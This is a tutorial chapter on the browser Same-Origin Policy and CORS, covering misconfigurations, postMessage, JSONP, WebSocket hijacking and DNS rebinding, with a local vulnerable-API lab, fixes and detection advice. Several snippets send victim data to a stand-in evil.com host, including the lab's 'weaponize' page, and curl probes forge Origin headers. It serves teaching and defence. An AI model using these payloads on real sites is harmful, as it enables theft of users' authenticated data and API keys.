Same-Origin Policy, CORS & the Browser Security Model
Same-Origin Policy, CORS & the Browser Security Model
This is Chapter 4 of the Web Fundamentals series — Notebook 6. Chapter 3 ended on cross-site
trust: SameSite cookies, CSRF, and the idea that the browser sometimes attaches your identity
to requests you did not intend. This chapter names the rule underneath all of that. The
Same-Origin Policy (SOP) is the single most important security boundary in the browser — the
fence that stops the malicious tab you opened by accident from reading your bank tab. Almost
everything the browser does to keep sites from attacking each other is either SOP, or a
deliberate, controlled hole punched in SOP.
The trouble is that SOP is widely misunderstood, and the misunderstandings are exactly where
the bugs live. Developers routinely believe SOP stops CSRF (it does not), or that enabling
CORS "turns off security" (it does the opposite — it's a controlled relaxation), or that
reflecting the Origin header back is a harmless way to "make CORS work" (it's a textbook
account-takeover). So we do this precisely: define origin, state exactly what SOP blocks and
what it allows, then build CORS up header by header and break each misconfiguration in a lab.
Part 1: What Is an Origin?
Everything starts with the definition of an origin. An origin is the triple:
(scheme, host, port)
Two URLs share an origin if and only if all three match exactly. Change any one and it is a different origin. This is a purely syntactic comparison — no DNS resolution, no "same company," no "same parent domain." The browser compares the three strings.
| URL A | URL B | Same origin? | Why |
|---|---|---|---|
https://app.example.com/a |
https://app.example.com/b |
✅ Yes | scheme+host+port identical; path is irrelevant |
https://app.example.com |
http://app.example.com |
❌ No | scheme differs (https vs http) |
https://app.example.com |
https://api.example.com |
❌ No | host differs (subdomain counts) |
https://example.com |
https://example.com:8443 |
❌ No | port differs (443 vs 8443) |
https://example.com |
https://example.com:443 |
✅ Yes | 443 is the default for https |
Note two subtleties that trip people up:
- Subdomains are different origins.
app.example.comandapi.example.comdo not share an origin, even though they share a registrable domain. (Cookies use a looser "site" notion — the registrable domain — which is whySameSiteand SOP don't line up; more in Part 9.) - Path and query do not matter.
https://x.com/adminandhttps://x.com/publicare the same origin. SOP is not an access-control system within a site; it's a boundary between sites.
The related but distinct concept of a "site" (used by SameSite cookies and some modern
isolation features) is the registrable domain plus scheme — example.com — so
app.example.com and api.example.com are the same site but different origins. Keep the two
words separate: origin is stricter (includes full host + port), site is looser (eTLD+1).
Security relevance: the entire browser security model is "code from origin A must not be able to read data from origin B without B's permission." Every rule below is an application of that one sentence, and every bug is a place where the rule leaks.
Part 2: What the Same-Origin Policy Actually Blocks
The Same-Origin Policy governs how a document or script loaded from one origin can interact with a resource from another origin. The critical nuance — and the source of endless confusion — is that SOP restricts reading responses, not sending requests.
flowchart TD
A["Page at https://evil.com"] -->|"can SEND a request to"| B["https://bank.com/transfer"]
B -->|"browser DELIVERS the request<br/>(cookies attached!)"| C[bank.com processes it]
C -->|"response comes back"| D{SOP: can evil.com<br/>READ the response?}
D -->|No — cross-origin| E["evil.com is blocked from reading it"]
Read that diagram twice. The malicious page can cause the browser to send a cross-origin request, and the browser will attach the victim's cookies. What SOP stops is evil.com reading the response body. This asymmetry is the whole reason CSRF exists (Chapter 3): the attacker doesn't need to read the response — the side effect (the transfer) already happened.
What SOP blocks (cross-origin):
- Reading the response body of a cross-origin
fetch/XMLHttpRequest(unless CORS permits). - Reading cross-origin DOM — a script in one frame reading
iframe.contentDocumentof a cross-origin frame. - Reading cross-origin cookies,
localStorage,sessionStorage, IndexedDB. - Reading pixels from a cross-origin
<canvas>that was tainted by a cross-origin image.
What SOP explicitly does NOT block:
- Sending cross-origin requests (forms,
fetch, images, scripts all fire cross-origin). - Embedding cross-origin resources:
<img src>,<script src>,<link>,<iframe>,<video>all load cross-origin by design — you just can't read their contents via script. - Navigation to another origin (clicking a link,
window.location = ...). - CSRF — because CSRF only needs the request to be sent, not the response read.
- Clickjacking — because that abuses display/framing, defended by
X-Frame-Options/ CSPframe-ancestors, not SOP.
| Action | Cross-origin allowed by SOP? |
|---|---|
<img src="https://other.com/pic"> |
✅ Load & display (can't read pixels) |
<script src="https://other.com/x.js"> |
✅ Load & execute (runs in your origin!) |
fetch("https://other.com/api") read body |
❌ Blocked unless CORS allows |
Form POST to https://other.com |
✅ Sent (this is why CSRF works) |
iframe.contentWindow.document (cross-origin) |
❌ Blocked |
window.postMessage(...) to a cross-origin frame |
✅ Allowed (explicit messaging channel) |
The <script src> row deserves a flag: an included cross-origin script executes with your
page's privileges, in your origin. That's why supply-chain attacks on third-party JS (a
compromised analytics script) are so devastating, and why Subresource Integrity (SRI) and CSP
exist. SOP doesn't sandbox included scripts — it trusts you to only include scripts you trust.
Part 3: Why SOP Exists — The Attack It Prevents
Imagine SOP did not exist. You are logged into bank.com in one tab. You open evil.com in
another. evil.com runs:
// In a world WITHOUT SOP — this would work and be catastrophic
fetch("https://bank.com/account", { credentials: "include" })
.then(r => r.text())
.then(html => {
// read your balance, account numbers, transaction history
navigator.sendBeacon("https://evil.com/steal", html);
});The browser would attach your bank.com cookies (you're logged in), the bank would return your
account page, and evil.com would read and exfiltrate it. Every site you're logged into would be
readable by every site you visit. The web would be unusable for anything sensitive.
SOP is what makes that fetch succeed in sending but fail in reading: the request goes out,
the bank responds, and the browser refuses to hand the response body to evil.com's JavaScript,
raising a CORS error instead. Your data stays inside bank.com's origin.
sequenceDiagram
participant E as evil.com script
participant Br as Browser
participant B as bank.com
E->>Br: fetch(bank.com/account, credentials:include)
Br->>B: GET /account Cookie: session=(victim)
B-->>Br: 200 + account HTML
Br->>Br: SOP check: response is cross-origin,<br/>no CORS grant
Br-->>E: TypeError: blocked by CORS policy (body withheld)
Note over E: attacker never sees the HTML
This is the value SOP delivers. Now the interesting question: what if bank.com wants to let
app.bank.com (a different origin) read its API responses on purpose? That legitimate need is
what CORS answers — a way for the responding server to opt specific origins into reading
its responses. The rest of the chapter is CORS and its failure modes.
Part 4: CORS from Zero — The Server Grants Read Access
Cross-Origin Resource Sharing (CORS) is a protocol by which a server can tell the browser "it's OK for this specific other origin to read my responses." It is implemented entirely with HTTP response headers. Crucially, CORS relaxes SOP; it never tightens it. A server with no CORS headers is maximally protected (SOP fully applies). Adding CORS headers opens controlled holes. "Enabling CORS" does not "turn on security" — it selectively turns SOP off for named origins.
The core mechanism: when a page makes a cross-origin fetch, the browser adds an Origin
request header naming the calling origin. The server inspects it and, if it wishes to grant
access, echoes back an Access-Control-Allow-Origin response header. The browser only lets
the calling script read the body if that header matches (or is *).
# Request from https://app.example.com to https://api.example.com
GET /data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
# Response granting access
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json
{"data": "..."}If the server responds without Access-Control-Allow-Origin, or with a value that doesn't match
the request's Origin, the browser blocks the read and the fetch promise rejects with a
CORS error — even though the request was sent and a response came back. (The request still
reached the server and any side effects still happened; CORS is about reading, not sending.)
The key CORS response headers:
| Header | Purpose |
|---|---|
Access-Control-Allow-Origin |
Which origin may read the response (* or an exact origin) |
Access-Control-Allow-Credentials |
true if cookies/credentials may be sent & read cross-origin |
Access-Control-Allow-Methods |
Which HTTP methods are allowed (preflight) |
Access-Control-Allow-Headers |
Which request headers are allowed (preflight) |
Access-Control-Expose-Headers |
Which response headers JS may read |
Access-Control-Max-Age |
How long the browser may cache the preflight result |
Access-Control-Allow-Origin takes exactly one origin or the wildcard * — it cannot be a
comma-separated list. So a server that wants to allow several origins must read the request
Origin, check it against an allowlist, and echo back the single matching origin. That
reflection step is precisely where the most dangerous CORS bug lives (Part 6).
Part 5: Simple Requests vs Preflight — The OPTIONS Dance
CORS splits cross-origin requests into two categories, and the distinction matters for both functionality and security.
A "simple request" is one that a plain HTML form could already make before CORS existed, so it doesn't get a preflight. A request is simple only if it meets all of:
- Method is
GET,HEAD, orPOST. - Only "CORS-safelisted" headers are set (
Accept,Accept-Language,Content-Language, andContent-Typelimited toapplication/x-www-form-urlencoded,multipart/form-data, ortext/plain). - No custom headers (no
Authorization, noX-Custom, noContent-Type: application/json).
Anything else — a PUT/DELETE/PATCH, a JSON Content-Type, an Authorization header, any
custom header — makes it a "non-simple" request, and the browser sends a preflight: an
automatic OPTIONS request that asks the server for permission before sending the real one.
sequenceDiagram
participant JS as app.example.com JS
participant Br as Browser
participant API as api.example.com
JS->>Br: fetch(api, {method:'PUT', headers:{'Content-Type':'application/json'}})
Note over Br: non-simple -> preflight first
Br->>API: OPTIONS /data<br/>Origin, Access-Control-Request-Method: PUT,<br/>Access-Control-Request-Headers: content-type
API-->>Br: 204<br/>Allow-Origin, Allow-Methods: PUT,<br/>Allow-Headers: content-type
Br->>API: PUT /data (the real request)
API-->>Br: 200 + Allow-Origin
Br-->>JS: response body delivered
The preflight is the browser asking, "before I send this PUT with a JSON body, do you allow
PUT and content-type from this origin?" If the server's OPTIONS response doesn't grant it
(Access-Control-Allow-Methods, Access-Control-Allow-Headers, matching Allow-Origin), the
browser never sends the real request and the fetch fails.
Security relevance of the simple/preflight split: this is the deep reason a custom header is a
CSRF defense (Chapter 3, Part 8). A cross-site attacker who adds X-CSRF: 1 forces a preflight;
if the server doesn't CORS-allow that header/origin, the browser refuses to send the real
request. A "simple" cross-site POST, by contrast, sails through with no preflight — which is why
state-changing simple POSTs still need SameSite/tokens. The preflight is not a security control
the server enforces; it's a check the browser performs on the server's behalf.
Preflight caching and Access-Control-Max-Age. Preflights cost a round trip, so the browser
caches a successful preflight result for Access-Control-Max-Age seconds (capped by the browser —
Chrome caps at 7200s/2h, Firefox at 86400s/24h). During that window, repeated non-simple requests
to the same URL/method skip the OPTIONS. This is mostly a performance feature, but it has a
security wrinkle: if you tighten your CORS policy, clients with a cached permissive preflight
keep using the old grant until it expires. Keep Max-Age modest (a few minutes) on anything whose
policy you might need to change quickly, and never treat a long Max-Age as "set and forget."
The methods/headers matching gotcha. Access-Control-Allow-Methods and
Access-Control-Allow-Headers are checked against the preflight's Access-Control-Request-Method
and Access-Control-Request-Headers. A frequent dev mistake is to reflect these back wholesale
("allow whatever they asked for") — the same reflection anti-pattern as origin reflection. If a
server echoes Access-Control-Allow-Headers: <whatever the client requested> and also reflects the
origin with credentials, the attacker controls the entire negotiation. Pin methods and headers to a
fixed minimal set, exactly as you pin the origin.
| Request property | Preflight header that must approve it | Common mistake |
|---|---|---|
Method PUT/DELETE/PATCH |
Access-Control-Allow-Methods |
allowing * or reflecting the requested method |
Content-Type: application/json |
Access-Control-Allow-Headers: content-type |
reflecting all requested headers |
Authorization header |
Access-Control-Allow-Headers: authorization |
forgetting it → real request never sent |
| Reading a custom response header | Access-Control-Expose-Headers |
forgetting it → JS sees the header as absent |
Part 6: CORS Misconfiguration — The Account-Takeover Bug
Now the payoff. CORS bugs are among the most reliably exploitable web vulnerabilities because a single sloppy header exposes authenticated data to any attacker origin. There are three canonical misconfigurations, in ascending danger.
6.1 Origin reflection with credentials (critical)
The server wants to "support CORS for our various front-ends," so it does the lazy thing: it
reads the request Origin and reflects it straight back, plus allows credentials:
# Attacker's page sends:
Origin: https://evil.com
# Vulnerable server blindly reflects it:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueNow evil.com can make credentialed cross-origin reads of the victim's authenticated API:
// On evil.com, while the victim is logged into api.bank.com
fetch("https://api.bank.com/account", { credentials: "include" })
.then(r => r.text())
.then(data => navigator.sendBeacon("https://evil.com/steal", data));
// -> SOP would have blocked this, but the reflected ACAO+credentials opens it.
// Attacker reads the victim's account data / API keys / tokens = account takeover.This is a genuine account-takeover primitive: any secret the API returns (session data, API tokens, PII, a CSRF token that then enables further attacks) is now readable by any site the victim visits. It is one of the highest-signal findings in bug bounty.
6.2 The null origin trap
Some servers allowlist the literal string null (because sandboxed iframes, data: URLs, and
some redirects send Origin: null, and a developer "fixed" a bug by allowing it). An attacker
can force an Origin: null from a sandboxed iframe and win:
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://api.bank.com/account', {credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://evil.com/?'+encodeURIComponent(d)));
</script>">
</iframe>The sandboxed iframe's requests carry Origin: null; the server reflects/allows null; the read
succeeds. Never allowlist null.
6.3 Sloppy allowlist matching
A server checks the Origin against an allowlist but uses a substring/prefix/suffix match:
| Flawed check | Bypass origin | Why it passes |
|---|---|---|
origin.endsWith("bank.com") |
https://evilbank.com |
ends with bank.com |
origin.startsWith("https://bank.com") |
https://bank.com.evil.com |
starts with the prefix |
origin.includes("bank.com") |
https://bank.com.evil.com |
contains the substring |
regex bank\.com unanchored |
https://bankxcom.evil.com (dot=any) |
. matches any char |
All of these are exploitable. The only correct check is an exact match against a fixed allowlist of full origins.
flowchart TD
A[Incoming Origin header] --> B{Exact match in<br/>hardcoded allowlist?}
B -->|Yes| C[Echo that exact origin<br/>+ Allow-Credentials if needed]
B -->|No| D[Send NO CORS headers<br/>SOP fully applies]
B -.->|substring/prefix/suffix/reflect| E[VULNERABLE]
The one rule that kills all three: Access-Control-Allow-Origin: * cannot be combined
with Access-Control-Allow-Credentials: true — the browser forbids it. So the only way to do
credentialed CORS is to name a specific origin, which means the server must validate the origin
against an exact allowlist. If you ever find ACAO reflecting an arbitrary origin and
Access-Control-Allow-Credentials: true, you have a critical finding.
Bug-bounty angle: the test is one curl. Send a bogus Origin and see if it's reflected with
credentials allowed:
curl -s -I https://api.target.com/account \
-H "Origin: https://evil.com" -H "Cookie: session=..." | grep -i access-control
# VULNERABLE if you see:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: truePart 7: The Other Cross-Origin Channels — postMessage, JSONP, WebSockets
SOP governs more than fetch. Three other cross-origin channels have their own rules and their
own bugs.
7.1 window.postMessage
postMessage is the sanctioned way for two windows/iframes of different origins to talk. One
side posts a message; the other receives it in a message event. It is safe only if both
sides validate origin.
// SENDER — always specify the target origin, never "*" for sensitive data
otherWindow.postMessage({token: t}, "https://trusted.com");
// RECEIVER — ALWAYS check event.origin before trusting the data
window.addEventListener("message", (e) => {
if (e.origin !== "https://trusted.com") return; // <-- the critical check
handle(e.data);
});The two canonical bugs:
- Missing origin check on receive. A listener that acts on
e.datawithout checkinge.originwill process messages from any site, including an attacker's — a DOM-XSS or logic-bypass primitive ife.dataflows intoinnerHTML,eval, or a token store. postMessage(data, "*")with sensitive data. Using"*"as the target origin broadcasts the message to whatever origin currently occupies the target window — an attacker who navigated that frame can read it. Always pin the exact target origin for anything sensitive.
7.2 JSONP — a pre-CORS hack that is now an attack surface
Before CORS, developers abused the <script src> SOP exemption to fetch cross-origin data: the
server wraps JSON in a JavaScript function call (callback({...})), the page includes it as a
script, and the function runs with the data. JSONP endpoints are a legacy liability:
- They execute attacker-influenceable script in your origin (the callback name is often reflected → XSS).
- They leak data cross-origin by design — any site can include your JSONP endpoint and read the data (there's no origin check; that was the "feature"). If a JSONP endpoint returns authenticated data, any site the victim visits can steal it.
If you find a JSONP endpoint (?callback=foo), test callback reflection for XSS and check whether
it exposes per-user data cross-origin. Modern advice: delete JSONP, use CORS.
7.3 WebSockets and Cross-Site WebSocket Hijacking (CSWSH)
WebSocket handshakes are not subject to SOP the way fetch is, and the browser attaches
cookies to the handshake. If a WebSocket endpoint authenticates purely via cookies and does
not validate the Origin header, an attacker page can open a cross-site WebSocket to it
(carrying the victim's cookies) and read/write the channel — Cross-Site WebSocket Hijacking.
The handshake starts as an ordinary HTTP GET with an Origin header, which is exactly the
control point:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Origin: https://evil.com <-- server MUST reject if this isn't trusted
Cookie: session=(victim's cookie) <-- attached automatically
Sec-WebSocket-Key: dGhlIHNhbXBsZQ==The attacker's page just opens the socket and reads whatever the victim's session is authorized to see:
// evil.com — runs while the victim is logged into target.com
const ws = new WebSocket("wss://target.com/chat"); // cookies auto-attached
ws.onopen = () => ws.send('{"cmd":"history"}'); // request the victim's data
ws.onmessage = e => new Image().src = // exfiltrate every message
"https://evil.com/log?d=" + encodeURIComponent(e.data);The fix is the same as CSRF: validate Origin on the handshake and/or require a CSRF-style
token bound to the session (a value the attacker page can't read). Never authenticate a WebSocket
by cookie alone.
Part 8: Hands-On Lab — Prove and Exploit a CORS Misconfiguration
We build a deliberately vulnerable API, confirm the bug with curl, then write the browser exploit that steals data. Local, safe, reproducible.
8.1 Stand up a vulnerable CORS API
# corsapi.py — reflects Origin + allows credentials (the classic bug)
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/account")
def account():
resp = jsonify(user="alice", apiKey="sk_live_9f2a...secret", balance=48210)
origin = request.headers.get("Origin")
if origin: # BUG: reflect any origin
resp.headers["Access-Control-Allow-Origin"] = origin
resp.headers["Access-Control-Allow-Credentials"] = "true"
return resp
app.run(port=5002)pip install flask
python3 corsapi.py &8.2 Confirm the bug with curl (the 10-second test)
curl -s -I http://localhost:5002/account -H "Origin: https://evil.com" | grep -i access-controlRealistic output — the tell-tale reflected origin + credentials:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueAny origin you send comes back allowed, with credentials. That's the vulnerability confirmed without a browser.
8.3 Weaponize it in the browser
An attacker hosts this page; a logged-in victim visits it:
<!-- evil.com/steal.html -->
<script>
fetch("http://localhost:5002/account", { credentials: "include" })
.then(r => r.json())
.then(data => {
// exfiltrate: send the stolen API key + balance to the attacker
new Image().src = "https://evil.com/log?d=" + encodeURIComponent(JSON.stringify(data));
document.body.innerText = "stolen: " + JSON.stringify(data);
})
.catch(e => document.body.innerText = "blocked: " + e);
</script>Because the API reflects Origin: https://evil.com and allows credentials, the browser lets
evil.com read the JSON — apiKey, balance, everything. That is account takeover.
8.4 Fix it and watch the exploit die
Replace the reflection with an exact allowlist:
ALLOWED = {"https://app.trusted.com"} # exact origins only
@app.route("/account")
def account():
resp = jsonify(user="alice", apiKey="sk_live_...", balance=48210)
origin = request.headers.get("Origin")
if origin in ALLOWED: # exact match, no reflection
resp.headers["Access-Control-Allow-Origin"] = origin
resp.headers["Access-Control-Allow-Credentials"] = "true"
return respRe-run the curl test with Origin: https://evil.com and there are now no CORS headers — SOP
fully applies, the browser blocks evil.com's read, and .catch fires with a CORS error. One
change (reflect → exact-match allowlist) closes the hole.
You've now confirmed a CORS misconfig from the command line, exploited it from a browser to steal authenticated data, and killed it with an exact-match allowlist — the full lifecycle of the most common CORS finding.
Part 9: How SOP, CORS, Cookies and CSP Fit Together
Four browser mechanisms are constantly conflated. Here is the map that keeps them straight — because misattributing a defense (thinking SOP stops CSRF, or CORS stops clickjacking) is how real gaps get shipped.
| Mechanism | Boundary it uses | What it protects | What it does NOT do |
|---|---|---|---|
| Same-Origin Policy | Origin (scheme+host+port) | Stops cross-origin reading of responses/DOM/storage | Doesn't stop sending requests (→ CSRF) or framing (→ clickjacking) |
| CORS | Origin | Lets a server grant cross-origin read access safely | Isn't a server-side access control; misconfig = data theft |
SameSite cookies |
Site (eTLD+1) | Stops cookies auto-attaching on cross-site requests (→ CSRF) | Doesn't isolate reads; site ≠ origin |
CSP frame-ancestors / XFO |
Origin | Stops your page being framed (→ clickjacking) | Doesn't govern fetch/read |
Two traps worth stating explicitly:
- SOP does not stop CSRF. CSRF needs only that the request be sent (SOP allows that) with
cookies auto-attached (cookies use the looser "site" rule). The defense is
SameSite+ CSRF tokens, from Chapter 3 — not CORS, not SOP. - CORS does not protect the server. CORS decides whether the browser lets a script read a response. A non-browser client (curl, a backend, Burp) ignores CORS entirely and reads whatever the server returns. CORS is not authorization; it never replaces server-side access control.
mindmap
root((Browser security))
Same-Origin Policy
blocks cross-origin READS
response body / DOM / storage
does NOT block sends
CORS
server grants read access
ACAO / credentials / preflight
misconfig -> data theft
SameSite cookies
blocks cross-SITE cookie auto-send
CSRF defense
Framing controls
CSP frame-ancestors
X-Frame-Options
clickjacking defense
The Content-Security-Policy header deserves its own note because it's the modern superset of
several of these controls: frame-ancestors replaces X-Frame-Options (anti-clickjacking),
connect-src limits where fetch/WebSocket can go, script-src limits which scripts run
(mitigating the <script src> trust problem and XSS), and default-src sets the baseline. CSP
doesn't replace SOP or CORS; it layers additional origin-based restrictions on top, mostly to
contain XSS. A dedicated chapter covers CSP in depth; here, place it as "the header that lets a
site tighten what its own pages are allowed to load and do."
Part 10: Advanced Corners — Crossorigin, SRI, COOP/COEP, Canvas Tainting
A few advanced mechanisms that experienced engineers meet and that appear in real bugs.
crossorigin attribute + Subresource Integrity (SRI). When you include a third-party script
<script src="https://cdn.example/lib.js" integrity="sha384-..." crossorigin="anonymous">, the
integrity hash makes the browser refuse to run the file if it doesn't match — defending against
a compromised CDN. crossorigin="anonymous" requests the resource without credentials and opts
into CORS so the browser can read enough to report errors and enforce SRI. This is your defense
for the "included scripts run in your origin" problem from Part 2.
Canvas tainting. Drawing a cross-origin image onto a <canvas> "taints" it: toDataURL()
and getImageData() then throw, because otherwise a script could read pixels of a cross-origin
image (a data leak). A properly CORS-enabled image loaded with crossorigin="anonymous" and an
Access-Control-Allow-Origin from the image host is not tainting and can be read — the same
opt-in model as everything else.
COOP / COEP and cross-origin isolation. Cross-Origin-Opener-Policy and
Cross-Origin-Embedder-Policy are newer headers that let a document sever references to
cross-origin windows and require all subresources to explicitly opt into being embedded. Setting
both to their strict values puts the page in a cross-origin isolated state, which is required
to use powerful APIs (SharedArrayBuffer, high-resolution timers) that were restricted after
Spectre. They exist because timing side channels can leak cross-origin data even when SOP
blocks direct reads — a reminder that the origin boundary is defended in depth, not by one rule.
Access-Control-Allow-Origin: * is fine for truly public data. A public CDN or open API that
returns no per-user data can safely send ACAO: * — the wildcard just means "anyone may read
this," which is correct for public content. The danger is only when credentials/authenticated
data are involved, and the browser's ban on * + credentials is precisely there to force you to
name origins in that case.
DNS rebinding — defeating SOP without breaking it. SOP compares the host string, not the IP.
DNS rebinding abuses that: the attacker controls evil.com, whose DNS record they can flip. The
victim loads http://evil.com; the attacker's JS keeps the page open while the attacker changes
evil.com's DNS to resolve to 127.0.0.1 (or an internal RFC1918 address like 192.168.1.1).
The browser, after the TTL expires, re-resolves evil.com to the internal IP — but the origin
string is still evil.com, so from SOP's point of view nothing changed, and the script can now
read responses from the internal service as if same-origin.
sequenceDiagram
participant V as Victim browser
participant DNS as attacker DNS (low TTL)
participant Int as 127.0.0.1 internal service
V->>DNS: resolve evil.com
DNS-->>V: A record -> attacker IP (serves the JS)
Note over V: page runs, holds connection open
V->>DNS: re-resolve evil.com (TTL expired)
DNS-->>V: A record -> 127.0.0.1 (rebind!)
V->>Int: fetch http://evil.com/ (origin string unchanged)
Int-->>V: response from internal service — script reads it
This is how attackers reach unauthenticated internal dashboards, routers, and IoT devices that
"only listen on localhost" and therefore skip auth. The defenses live at the service, not in
SOP: validate the Host header (reject Host: evil.com on an internal service), require
authentication even on localhost, and bind sensitive services to interfaces an external DNS name
can't be rebound onto. Tools like rebind and Singularity of Origin automate the attack for
testing; it's a favorite for SSRF-adjacent internal pivoting.
Localhost and mixed-content nuances. Modern browsers treat http://localhost as a "secure
context" for some purposes but still apply SOP by origin; and a mixed-content page (HTTPS page
loading http:// subresources) has those subresource loads blocked or upgraded independently of
CORS. These are separate rails from SOP/CORS but often get blamed on them when a fetch fails —
always read the exact console error to know which mechanism fired.
Part 11: Real-World Failures and a Chained Exploit
Abstract rules land harder against real incidents. A few representative classes, drawn from public disclosures and the shape of bugs that recur across bounty programs.
Reflected origin on an authenticated API (the recurring bounty pattern). Countless disclosed
reports follow the identical script: an API at api.target.com reflects the Origin header into
Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true so that "our SPA
and our mobile web wrapper both work." A researcher sends Origin: https://evil.com, sees it
reflected, and demonstrates reading the victim's profile, email, or — worst case — an API token
that the endpoint returns. Severity is typically High/Critical because the stolen token unlocks
the rest of the account. The fix in every one of these is the same: exact-match allowlist.
The trusted-subdomain chain (XSS + CORS). A more interesting chain: the main API does use an
allowlist, but it allowlists *.target.com loosely, or a specific subdomain like
legacy.target.com that carries an XSS. The attacker doesn't need to forge an origin — they land
JavaScript on the allowlisted subdomain via the XSS, and that origin is permitted to read the
API with credentials. So a reflected-XSS on a forgotten subdomain becomes full API data
exfiltration through legitimately-granted CORS. This is why "allowlist a whole subdomain tree" is
dangerous: every subdomain's weakest page inherits the CORS trust.
flowchart LR
A[XSS on legacy.target.com<br/>an allowlisted origin] --> B[attacker JS runs<br/>in that origin]
B --> C["fetch api.target.com<br/>credentials: include"]
C --> D{CORS: is legacy.target.com<br/>allowlisted?}
D -->|Yes — it's on the list| E[read authed API data]
E --> F[exfiltrate to attacker]
Origin: null from a PDF/sandbox. Sandboxed iframes, data: URIs, documents opened from
file://, and certain cross-origin redirects all emit Origin: null. Apps that "handle the null
case" by allowlisting it hand an attacker a free pass, because the attacker can manufacture a
null-origin context (the sandboxed-iframe srcdoc trick from Part 6.2). Treat null as hostile.
The takeaway across all of these: CORS bugs are rarely exotic. They are almost always one of
(a) reflecting the origin, (b) a loose match (null, subdomain wildcard, substring), or
(c) trusting a subdomain that has its own bug. Your review checklist is correspondingly short —
which is exactly why this class is so findable, and so worth hardening once and for all.
Part 12: Detection & Defense Angle — Getting Cross-Origin Right
Consolidated defensive guidance, server and client side.
Server-side CORS hardening:
- Maintain a hardcoded allowlist of exact origins. Never reflect the
Originheader unchecked; never use substring/prefix/suffix/regex-without-anchors matching. - Never allowlist
null. If a legitimate flow needs it, redesign the flow. - Only send
Access-Control-Allow-Credentials: truewhen you truly need credentialed cross-origin access, and then only paired with a specific origin (never*). - Scope
Access-Control-Allow-Methods/-Headersto the minimum needed; keepAccess-Control-Max-Agemodest so allowlist changes take effect quickly. - Remember CORS is not access control: enforce authentication and authorization on the endpoint regardless of CORS, because non-browser clients ignore CORS.
Client-side / app hardening:
postMessage: always checkevent.originon receive; always pin an exacttargetOriginon send. Never"*"for sensitive data, never truste.datawithout validating origin.- Kill JSONP endpoints; migrate to CORS. If one must stay, don't reflect the callback name and don't return per-user data.
- WebSockets: validate
Originon the handshake and use a per-connection token (defend against CSWSH). - Add
Content-Security-Policywithframe-ancestors(anti-clickjacking),connect-src(limit fetch targets), andscript-src(contain XSS); use SRI on third-party scripts.
Detection (blue team):
flowchart LR
A[Web/access logs + WAF] --> B{Signal?}
B -->|OPTIONS preflights w/ odd Origins| C[CORS probing]
B -->|Requests reflecting attacker Origin in ACAO| D[Misconfig exposure]
B -->|WS handshakes w/ foreign Origin| E[Possible CSWSH]
C --> F[Review CORS config, alert]
D --> F
E --> F
- Log the
Originheader on API requests; a burst of requests carrying many different or obviously-maliciousOriginvalues (evil.com,null,bank.com.attacker.com) is CORS probing — a scanner testing your allowlist logic. - Alert if any response ever emits
Access-Control-Allow-Originechoing a non-allowlisted origin together withAllow-Credentials: true— that's your own misconfiguration firing. - Monitor WebSocket handshakes for foreign
Originvalues as a CSWSH indicator.
Part 13: Final Revision / Summary
- An origin is
(scheme, host, port)— all three must match exactly. Subdomains and ports are different origins. A site (eTLD+1) is looser;SameSiteuses site, SOP uses origin, and the mismatch is why cookies and SOP don't line up. - The Same-Origin Policy blocks cross-origin reading (response bodies, DOM, storage, canvas pixels) but not sending requests, embedding resources, navigation, CSRF, or clickjacking. That send/read asymmetry is why CSRF exists.
- CORS is the server opting specific origins into reading its responses, via
Access-Control-Allow-*headers. It relaxes SOP; it is not "security on."ACAOholds one origin or*, never a list — so multi-origin support means validatingOriginagainst an allowlist and echoing the match. - Simple vs preflight: non-simple requests (custom headers, JSON body,
PUT/DELETE) trigger anOPTIONSpreflight the server must approve. This is why a custom header acts as a CSRF defense. - CORS misconfig = account takeover: reflecting
Origin+Allow-Credentials: true, allowlistingnull, or sloppy substring matching all let an attacker origin read authenticated data. Fix: exact-match allowlist; the browser's*+credentials ban forces you there. - Other channels:
postMessage(checkevent.origin, pintargetOrigin), JSONP (legacy data-leak/XSS surface — delete it), WebSockets (validateOriginto stop CSWSH). - Keep the four mechanisms straight: SOP (read boundary), CORS (grant reads),
SameSite(cookie auto-send / CSRF), framing controls (clickjacking). Misattributing a defense ships a gap. And CORS never replaces server-side authorization — non-browser clients ignore it.
Part 14: Cheat Sheet / Quick Reference
Origin = scheme + host + port (all three exact). Site = eTLD+1 (looser).
SOP blocks / allows
| Blocks (cross-origin) | Allows (cross-origin) |
|---|---|
| read fetch/XHR body | send fetch/form request |
| read cross-origin DOM | embed img/script/iframe |
| read cookies/localStorage | navigation |
| read tainted canvas pixels | postMessage (explicit) |
CORS response headers
Access-Control-Allow-Origin: https://app.example.com # one origin or *
Access-Control-Allow-Credentials: true # never with *
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: content-type, authorizationTest for the account-takeover misconfig
curl -sI https://api.target/endpoint -H "Origin: https://evil.com" | grep -i access-control
# BAD if ACAO reflects evil.com AND Allow-Credentials: trueCORS bug patterns
| Pattern | Why bad |
|---|---|
| reflect Origin + credentials | any site reads authed data |
allow null |
sandboxed iframe forces it |
endsWith/startsWith/includes match |
bank.com.evil.com etc. |
* + credentials |
browser forbids (fix forces allowlist) |
postMessage safe pattern
// send
w.postMessage(data, "https://trusted.com");
// receive
onmessage = e => { if (e.origin !== "https://trusted.com") return; use(e.data); };Defense mapping: CSRF→SameSite+tokens · clickjacking→frame-ancestors/XFO · cross-origin read→SOP · granted read→CORS allowlist.
Part 15: Common Pitfalls
- Thinking SOP stops CSRF. It doesn't — the request is still sent with cookies. Use
SameSite+ CSRF tokens. - Thinking CORS protects the server. It only governs browser script reads. curl/Burp ignore it. Enforce real authz server-side.
- Reflecting the
Originheader. The #1 CORS bug. With credentials it's account takeover. Use an exact allowlist. - Allowlisting
null. Attacker forcesOrigin: nullfrom a sandboxed iframe. Never allow it. - Substring/prefix/suffix origin checks.
